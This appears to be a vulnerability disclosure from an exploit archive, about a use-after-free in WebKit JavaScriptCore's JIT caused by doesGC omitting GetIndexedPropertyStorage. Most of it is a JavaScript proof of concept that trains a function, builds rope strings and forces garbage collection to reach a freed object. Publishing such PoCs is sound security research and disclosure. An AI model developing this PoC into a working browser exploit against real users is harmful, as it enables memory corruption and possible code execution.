ExploitFixes
WebKit JSC JIT - GetIndexedPropertyStorage Use-After-Free 2019-01-16 18:05:08

/*
The doesGC function simply takes a node, and tells if it might cause a garbage collection. This function is used to determine whether to insert write barriers. But it's missing GetIndexedPropertyStorage that can cause a garbage collection via rope strings. As a result, it can lead to UaF.

PoC:
*/

function gc() {
for (let i = 0; i < 10; i++) {
new ArrayBuffer(1024 * 1024 * 10);
}
}

function opt(arr) {
let r = /a/;
let o = {};

arr[0].charAt(0);
arr[1].charAt(0);
arr[2].charAt(0);
arr[3].charAt(0);
arr[4].charAt(0);
arr[5].charAt(0);
arr[6].charAt(0);
arr[7].charAt(0);
arr[8].charAt(0);
arr[8].charAt(0);
arr[9].charAt(0);

o.x = 'a'.match(r);

return o;
}

function main() {
for (let i = 0; i < 10000; i++) {
opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
}

let a = 'a'.repeat(1024 * 1024 * 2);
let b = 'a'.repeat(1024 * 1024 * 2);

let arr = [];
for (let i = 0; i < 10; i++) {
arr[i] = a + b;
}

gc();

let o = opt(arr);

gc();

let tmp = [1234];

print(o.x); // 1234
}

main();